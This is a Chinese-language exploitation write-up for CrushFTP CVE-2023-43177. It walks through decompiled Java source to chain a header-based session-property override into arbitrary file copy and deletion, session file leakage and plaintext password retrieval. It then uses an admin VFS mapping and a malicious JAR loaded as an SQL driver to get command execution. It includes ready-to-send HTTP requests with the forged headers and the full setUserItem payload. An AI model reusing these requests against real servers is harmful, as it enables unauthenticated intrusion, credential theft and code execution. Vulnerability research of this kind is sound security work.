CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

CrushFTP Unauthenticated Remote Code Execution

路由分析

不像传统套件,这里自己实现了协议的解析并做调用,写法比较死板,不够灵活,在crushftp.server.ServerSessionHTTP可以看到具体的处理过程,代码”依托答辩”,不过漏洞思路值得学习

image-20231211184136935

前台权限绕过

简单来说,原理是因为程序实现存在匿名访问机制,并且可以通过header污染当前会话的参数导致产生了一些意外的操作

crushftp.server.ServerSessionAJAX#buildPostItem当中,可以看到会解析每一个header,并将解析到的key,val保存到as2Info这个Properties中,同时这里对put的参数没有任何限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public boolean buildPostItem(Properties request, long http_len_max, Vector headers, String req_id) throws Exception {
Properties as2Info = new Properties();
boolean write100Continue = false;
int x = 1;s
while (x < headers.size()) {
String data;
String key = data = headers.elementAt(x).toString();
String val = "";
try {
val = data.substring(data.indexOf(":") + 1).trim();
key = data.substring(0, data.indexOf(":")).trim().toLowerCase();
}
catch (Exception e) {
Log.log("HTTP_SERVER", 3, e);
}
as2Info.put(key, val);
......省略.....

我们顺便看看新版本是如何解决这一点的,从processAs2HeaderLine可以看出,允许设置到as2Info当中值受到了限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void processAs2HeaderLine(String key, String val, String data, Properties as2Info) {
as2Info.put(key.trim().toLowerCase(), val.trim());
if (data.toLowerCase().startsWith("message-id:")) {
String as2Filename = data.substring(data.indexOf(":") + 1).trim();
if ((as2Filename = as2Filename.substring(1)).indexOf("@") >= 0) {
as2Filename = as2Filename.substring(0, as2Filename.indexOf("@"));
}
as2Filename = Common.replace_str(as2Filename, "<", "");
as2Filename = Common.replace_str(as2Filename, ">", "");
as2Info.put("as2Filename", as2Filename);
} else if (data.toLowerCase().startsWith("content-type:")) {
as2Info.put("contentType", data.substring(data.indexOf(":") + 1).trim());
} else if (data.toLowerCase().startsWith("disposition-notification-options:")) {
as2Info.put("signMdn", String.valueOf(data.substring(data.indexOf(":") + 1).trim().indexOf("pkcs7-signature") >= 0));
}
}

继续往下接下来我们可以看到,在光标处没有做任何的限制,直接将as2Info中的每个键值对添加到了当前会话的user_info属性,因此这里存在一个属性覆盖的问题,接下来我们就需要看看覆盖哪些属性可能存在威胁

image-20231210231729940

关于user_info属性的获取是通过一个封装好的函数来做获取

1
2
3
4
5
6
public String uiSG(String data) {
if (this.user_info.containsKey(data)) {
return this.user_info.getProperty(data);
}
return "";
}

同时在此基础上还有一系列类型转换的封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int uiIG(String data) {
try {
return Integer.parseInt(this.uiSG(data));
}
catch (Exception exception) {
return 0;
}
}

public long uiLG(String data) {
try {
return Long.parseLong(this.uiSG(data));
}
catch (Exception exception) {
return 0L;
}
}

public boolean uiBG(String data) {
return this.uiSG(data).toLowerCase().equals("true");
}
......

接下来就是寻找污染哪些属性可能造成危害,这里漏洞发现者使用了getUserName

其中csrf默认为true,我们需要传入c2f参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public boolean getUserName(Properties request) throws Exception {
if (request.getProperty("command", "").equalsIgnoreCase("getUserName")) {
String response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n";
if (ServerStatus.BG("csrf") && !request.getProperty("c2f", "").equals("")) {
String session_id = this.thisSessionHTTP.thisSession.getId();
try {
if (!request.getProperty("c2f", "").equalsIgnoreCase(session_id.substring(session_id.length() - 4))) {
this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime());
response = String.valueOf(response) + "<commandResult><response>FAILURE:Access Denied. (c2f)</response></commandResult>";
return this.writeResponse(response);
}
}
catch (Exception e) {
Log.log("HTTP_SERVER", 2, e);
this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime());
response = String.valueOf(response) + "<loginResult><response>failure</response></loginResult>";
return this.writeResponse(response);
}
}
response = this.thisSessionHTTP.thisSession.uiBG("user_logged_in") && !this.thisSessionHTTP.thisSession.uiSG("user_name").equals("") ? String.valueOf(response) + "<loginResult><response>success</response><username>" + this.thisSessionHTTP.thisSession.uiSG("user_name") + "</username></loginResult>" : String.valueOf(response) + "<loginResult><response>failure</response></loginResult>";
return this.writeResponse(response);
}
return false;
}

如果相等则返回登录成功,同时值得注意的是这里会返回user_name,因此我们可以利用这一点来判断漏洞是否可利用,如果是漏洞版本user_name就可以通过header覆盖,返回也可以是任意可控字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
public boolean writeResponse(String response) throws Exception {
return this.writeResponse(response, true, 200, true, false, true);
}

public boolean writeResponse(String response, boolean json) throws Exception {
return this.writeResponse(response, true, 200, true, json, true);
}

public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {
boolean acceptsGZIP = false;
return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);
}

public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
if (convertVars) {
response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
}
this.write_command_http("HTTP/1.1 " + code + " OK", log_header);
this.write_command_http("Cache-Control: no-store", log_header);
this.write_command_http("Pragma: no-cache", log_header);
if (json) {
this.write_command_http("Content-Type: application/jsonrequest;charset=utf-8");
} else {
this.write_command_http("Content-Type: text/" + (response.indexOf("<?xml") >= 0 ? "xml" : "plain") + ";charset=utf-8");
}
if (acceptsGZIP) {
this.thisSessionHTTP.write_command_http("Vary: Accept-Encoding");
this.thisSessionHTTP.write_command_http("Content-Encoding: gzip");
this.thisSessionHTTP.write_command_http("Transfer-Encoding: chunked");
this.thisSessionHTTP.write_command_http("Date: " + this.thisSessionHTTP.sdf_rfc1123.format(new Date()), log, true);
this.thisSessionHTTP.write_command_http("Server: " + ServerStatus.SG("http_server_header"), log, true);
this.thisSessionHTTP.write_command_http("P3P: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\"", log, true);
if (!ServerStatus.SG("Access-Control-Allow-Origin").equals("")) {
String origin = this.thisSessionHTTP.headerLookup.getProperty("ORIGIN", "");
int x = 0;
while (x < ServerStatus.SG("Access-Control-Allow-Origin").split(",").length) {
boolean ok = false;
if (origin.equals("")) {
ok = true;
} else if (ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].toUpperCase().trim().equalsIgnoreCase(origin.toUpperCase().trim())) {
ok = true;
}
if (ok) {
this.write_command_http("Access-Control-Allow-Origin: " + ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].trim());
}
++x;
}
this.write_command_http("Access-Control-Allow-Headers: authorization,content-type");
this.write_command_http("Access-Control-Allow-Credentials: true");
this.write_command_http("Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,PROPFIND,DELETE,MKCOL,MOVE,COPY,HEAD,PROPPATCH,LOCK,UNLOCK,ACL,TR");
}
this.write_command_http("", log);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = response.getBytes("UTF8");
GZIPOutputStream out = new GZIPOutputStream(baos);
((OutputStream)out).write(b);
out.finish();
if (baos.size() > 0) {
this.thisSessionHTTP.original_os.write((String.valueOf(Long.toHexString(baos.size())) + "\r\n").getBytes());
baos.writeTo(this.thisSessionHTTP.original_os);
this.thisSessionHTTP.original_os.write("\r\n".getBytes());
baos.reset();
}
this.thisSessionHTTP.original_os.write("0\r\n\r\n".getBytes());
this.thisSessionHTTP.original_os.flush();
} else {
this.thisSessionHTTP.write_standard_headers(log);
int len = response.getBytes("UTF8").length + 2;
if (len == 2) {
len = 0;
}
this.write_command_http("Content-Length: " + len, log_header);
this.write_command_http("", log);
if (len > 0) {
this.thisSessionHTTP.write_command_http(response, log, convertVars);
}
}
this.thisSessionHTTP.thisSession.drain_log();
return true;
}

当请求结束,在响应完成之后,在倒数第二行调用了drain_log方法,这个方法也很有意思

可以看到如果属性当中存在user_log_path_custom,并且不为空,接下来再结合覆盖其他参数

  1. user_log_path_custom 中的值为new_loc
  2. user_log_path 中指定的值为old_loc
  3. 旧文件将复制到指定的新位置,并删除旧文件

现在我们可以做到任意文件复制以及删除,但经过测试我们会发现,如果我们读取一些敏感的配置文件到web路径下,访问后再移动回去会破坏掉文件本身的一些完整性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void drain_log() {
.....省略.....
object = this.uiVG("user_log");
synchronized (object) {
if (!this.uiSG("user_log_path_custom").equals("")) {
String new_loc = "" + this.user_info.remove("user_log_path_custom");
String old_loc = this.uiSG("user_log_path");
this.uiPUT("user_log_path", new_loc);
new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs();
if (new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).exists() && !new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).renameTo(new File_S(String.valueOf(new_loc) + this.uiSG("user_log_file")))) {
try {
Common.copy(String.valueOf(old_loc) + this.uiSG("user_log_file"), String.valueOf(new_loc) + this.uiSG("user_log_file"), true);
}
catch (Exception exception) {
// empty catch block
}
new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).delete();
}
}
try {
com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true);
}
catch (FileNotFoundException e) {
try {
new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs();
com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true);
}
catch (IOException ee) {
Log.log("SERVER", 1, ee);
}
}
catch (IOException e) {
Log.log("SERVER", 1, e);
}
}
}

毕竟是log功能,程序会将请求记录不断写入image-20231210234410800

而这部分功能则是受add_log控制,可以看到如果dont_logtrue,那么就不会记录当前请求

1
2
3
4
5
6
7
8
public void add_log(String log_data, String short_data, String check_data) {
if (this.uiBG("dont_log")) {
return;
}
if (this.logDateFormat == null) {
this.logDateFormat = (SimpleDateFormat)ServerStatus.thisObj.logDateFormat.clone();
}
.......

因此我们不难构造出

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1
Host: 127.0.0.1:8080
as2-to: X
user_name: crushadmin
user_log_file: file_to_read
user_log_path_custom: WebInterface/
user_log_path: ./
dont_log: true
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;

post=body

表面上看来到此漏洞可能已经利用结束了,但实际上还能再更进一步

但继续阅读源码我们会发现,程序在运行过程还会”定期”,将session当中的属性信息保存到sessions.obj文件当中

再来看看它是如何生成的,在crushftp.handlers.SharedSession#flush中如果属性allow_session_caching_memorytrue才会执行,默认配置为true

image-20231211185653980

flush的调用在crushftp.handlers.SharedSession#shutdown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void shutdown() {
if (ServerStatus.BG("allow_session_caching_on_exit")) {
while (ServerStatus.siVG("user_list").size() > 0) {
Properties user_info = (Properties)ServerStatus.siVG("user_list").elementAt(0);
SessionCrush thisSession = (SessionCrush)user_info.get("session");
if (thisSession != null) {
thisSession.do_kill(null);
} else {
ServerStatus.thisObj.remove_user(user_info);
}
ServerStatus.siVG("user_list").remove(user_info);
}
SharedSession recent_users = SharedSession.find("recent_user_list");
recent_users.put("recent_user_list", ServerStatus.siVG("recent_user_list"));
recent_users.put("user_login_num", ServerStatus.siSG("user_login_num"));
}
shutting_down = true;
SharedSession.flush();
}

shutdown的调用在crushftp.handlers.ShutdownHandler#run,可以看到在构造函数当中,为通过Runtime.getRuntime().addShutdownHook(this)向JVM注册了一个关闭时的Hook动作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class ShutdownHandler
extends Thread {
boolean shutdown = false;

public ShutdownHandler() {
Runtime.getRuntime().addShutdownHook(this);
}

/*
* Unable to fully structure code
*/
@Override
public synchronized void run() {
block6: {
if (this.shutdown) break block6;
AdminControls.stopLogins(new Properties(), "CONNECT)");
start = System.currentTimeMillis();
if (true) ** GOTO lbl13
do {
try {
Thread.sleep(1000L);
}
catch (InterruptedException var3_2) {
// empty catch block
}
if (ServerStatus.siVG("running_tasks").size() <= 0) break;
} while (System.currentTimeMillis() - start < ServerStatus.LG("active_jobs_shutdown_wait_secs") * 1000L);
SharedSession.shutdown();
ServerStatus.thisObj.statTools.stopDB();
ServerStatus.thisObj.searchTools.stopDB();
}
this.shutdown = true;
if (ServerStatus.thisObj.loggingProvider1 != null) {
ServerStatus.thisObj.loggingProvider1.flushNow();
}
if (ServerStatus.thisObj.loggingProvider2 != null) {
ServerStatus.thisObj.loggingProvider2.flushNow();
}
}
}

因此保存的条件是重启过服务器…,这个文件的作用相当于是充当了服务器重启时的缓存,因此漏洞利用需要看运气了,这里为了重现漏洞我们重启一下系统生成这个文件

image-20231210235316865

这里我们得到了完整的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1
Host: 127.0.0.1:8080
as2-to: X
user_name: crushadmin
user_log_file: sessions.obj
user_log_path_custom: WebInterface/
user_log_path: ./
dont_log: true
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;

post=body

之后访问/WebInterface/sessions.obj/WebInterface/sessions.obj即可获取到泄漏的session信息

在这里我们还可以尝试权限维持,可以看到这里存在一个接口可以直接获取到明文密码

1
2
3
4
5
6
if (command.equalsIgnoreCase("getUser")) {
if (AdminControls.checkRole(command, site, this.thisSessionHTTP.thisSession.uiSG("user_ip"))) {
return this.writeResponse(AdminControls.buildXML(AdminControls.getUser(request, site, this.thisSessionHTTP.thisSession), "user_items", "OK"), true, 200, false, false, true);
}
return this.writeResponse("<commandResult><response>FAILURE:Access Denied.</response></commandResult>");
}

AdminControls.getUser当中,通过username查询到用户信息并返回

在这里比较骚的一点,系统会按照pass掉格式自适应解码,因此我们拿到的密码是明文~~~(Ps:就算不是也无所谓里面都是硬编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static Object getUser(Properties request, String site, SessionCrush thisSession) {
......省略.......
username = thisSession.uiSG("user_name");
......省略.......
VFS uVFS = UserTools.ut.getVFS(request.getProperty("serverGroup"), username);
Properties new_user = UserTools.ut.getUser(request.getProperty("serverGroup"), username, false);
......省略.......
String pass = new_user.getProperty("password", "");
if (!(pass.startsWith("SHA:") || pass.startsWith("SHA512:") || pass.startsWith("SHA256:") || pass.startsWith("SHA3:") || pass.startsWith("MD5:") || pass.startsWith("CRYPT3:") || pass.startsWith("BCRYPT:") || pass.startsWith("MD5CRYPT:") || pass.startsWith("PBKDF2SHA256:") || pass.startsWith("SHA512CRYPT:") || pass.startsWith("ARGOND:"))) {
pass = ServerStatus.thisObj.common_code.decode_pass(pass);
new_user.put("password", pass);
} else {
new_user.put("password", "SHA3:XXXXXXXXXXXXXXXXXXXX");
}
if (!new_user.getProperty("userVersion", "").equals("6") && !new_user.getProperty("as2EncryptKeystorePassword", "").equals("")) {
new_user.put("as2EncryptKeystorePassword", ServerStatus.thisObj.common_code.encode_pass(new_user.getProperty("as2EncryptKeystorePassword", ""), "DES", ""));
new_user.put("as2EncryptKeyPassword", ServerStatus.thisObj.common_code.encode_pass(new_user.getProperty("as2EncryptKeyPassword", ""), "DES", ""));
}
......省略.......

简单发包做个验证

image-20231211001218626

后台代码执行

在后台设置中,发现可以动态加载 SQL 驱动程序和配置测试,因此只需要能够上传恶意 JAR 文件即可实现RCE

image-20231211000554219

毕竟是FTP一定存在上传的点,但是在上传后发现没有权限

image-20231211130810142

经过查找我们可以发现在后台可以增加虚拟路径和物理路径的映射

image-20231211131426907

顺便抓了个包

1
command=setUserItem&data_action=replace&serverGroup=extra_vfs&username=crushadmin~Y4Test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Ecrushadmin~Y4Test%3C%2Fusername%3E%3Cpassword%3E%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cvfs_items+type%3D%22vector%22%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3EY4TMP%3C%2Fname%3E%0D%0A%3Cpath%3E%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3E%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3Etmp%3C%2Fname%3E%0D%0A%3Cpath%3E%2FY4TMP%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3EFILE%3A%2F%2FVolumes%2FMacintosh+HD%2Ftmp%2F%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3C%2Fvfs_items%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3CVFS+type%3D%22properties%22%3E%0D%0A%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2FTMP%2F%22%3E(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)%3C%2Fitem%3E%0D%0A%3C%2FVFS%3E&c2f=kYjk

对应以下的参数,按照此模板做修改即可注意替换username(用户名~随意的自定义参数|参考上面的图上面的截图就很容易理解)、c2f参数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
command: setUserItem
data_action: replace
serverGroup: extra_vfs
username: crushadmin~Y4Test
user: <?xml version="1.0" encoding="UTF-8"?><user type="properties"><username>crushadmin~Y4Test</username><password></password><max_logins>0</max_logins><root_dir>/</root_dir></user>
xmlItem: user
vfs_items: <?xml version="1.0" encoding="UTF-8"?>
<vfs_items type="vector">
<vfs_items_subitem type="properties">
<name>Y4TMP</name>
<path>/</path>
<vfs_item type="vector">
<vfs_item_subitem type="properties">
<type>DIR</type>
<url></url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
<vfs_items_subitem type="properties">
<name>tmp</name>
<path>/Y4TMP/</path>
<vfs_item type="vector">
<vfs_item_subitem type="properties">
<type>DIR</type>
<url>FILE://Volumes/Macintosh HD/tmp/</url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
</vfs_items>
permissions: <?xml version="1.0" encoding="UTF-8"?>
<VFS type="properties">
<item name="/">(read)(view)(resume)</item>
<item name="/Y4TMP/">(read)(view)(resume)</item>
<item name="/Y4TMP/TMP/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)</item>
</VFS>
c2f: kYjk

之后在主页上传jar包image-20231211132022476

抓了个包发现这样非常麻烦,需要两步,第一步相当于初始化,第二步还要计算文件大小拼接(19218是文件大小)

image-20231211133549918

通过阅读源码我发现了一个可替代的步骤,并且更简单,简化我们做自动化利用的步骤

image-20231211133757762

现在既然成功上传了,那就可以控制参数加载我们的恶意SQL驱动程序执行任意命令

image-20231211132908890